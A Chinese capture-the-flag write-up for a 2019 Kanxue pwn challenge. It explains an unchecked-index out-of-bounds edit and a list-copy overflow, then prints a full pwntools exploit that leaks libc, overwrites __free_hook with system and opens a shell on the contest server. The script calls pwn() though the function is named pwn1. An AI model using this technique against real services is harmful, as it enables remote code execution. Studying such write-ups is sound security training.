【2019看雪CTF】Q1赛季 第四题 拯救单身狗 WP

此pwn题有两处洞.
一是edit时没有检查index，导致越界修改，edit singledog如果越上界可leak，越下界可修改luckydog中存放的指针，实现任意地址写，从而可以通过改写free_hook达到get shell。
二是save singledog时，当singledoglist满数之后 ，保存堆地址的列表remove元素时，存在越界copy。

完整exp如下：

#!/usr/bin/env python
from pwn import *


def add_s(content):
    io.recvuntil('>>\n')
    io.sendline('1')
    io.recvuntil('Name:\n')
    io.sendline(content)

def add_l(content,content1):
    io.recvuntil('>>\n')
    io.sendline('2')
    io.recvuntil('Name\n')
    io.sendline(content)
    io.recvuntil("your partner's name\n")
    io.sendline(content1)

def edit_s(idx,content):
    io.recvuntil('>>\n')
    io.sendline('3')
    io.recvuntil('which?\n')
    io.sendline(str(idx))
    io.recvuntil('luck.\n')
    io.sendline(content)
    io.recvuntil('new name: ')
    return io.recvuntil('1.')[:-2]

def edit_l(idx,content, content1):
    io.recvuntil('>>\n')
    io.sendline('4')
    io.recvuntil('which?\n')    
    io.sendline(str(idx))
    io.recvuntil('your new name?\n')
    io.sendline(content)
    io.recvuntil("partner's new name\n")
    io.sendline(content1)

def save():
    io.recvuntil('>>\n')
    io.sendline('5')
    io.recvuntil('be saved?\n')
    res = io.recvline()
    return re.findall('luckydog (\d+) save singledog(\d+)!',res)[0]



def pwn1():
    bin_off = 0x3C4B78
    free_off = 0x3C67A8
    sys_off = 0x45390

    free_off = 0x3ED8E8
    sys_off = 0x4F440
    sh_off = 0x1B3E9A 
    err_off = 0x3EC680

    addr = u64(edit_s(-4,'a'*7)[8:]+'\x00'*2)
    base = addr - err_off -131
    free_addr = base+free_off
    sys_addr = base+sys_off
    sh_addr = base+sh_off
    add_s('single1')    
    add_l('luck1'*3,'luck2'*3)
    edit_s(80,p64(free_addr))
    edit_l(0,'luck',p64(sys_addr))
    edit_s(80,p64(sh_addr))
    save()
    io.interactive()    

if __name__  ==  '__main__':
    context(arch='amd64', kernel='amd64', os='linux')    
    HOST, PORT = '211.159.175.39', 8686
    # HOST, PORT = '0.0.0.0', 8686
    # elf = ELF('./libc.so.6')    
    if len(sys.argv) > 1 and sys.argv[1] == 'l': 
        io = process('./apwn')#,env = {'LD_PRELOAD':'./libc.so'})        
        context.log_level = 'debug'        
    else:   
        io = remote(HOST, PORT)  
        context.log_level = 'debug'             
    pwn()

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课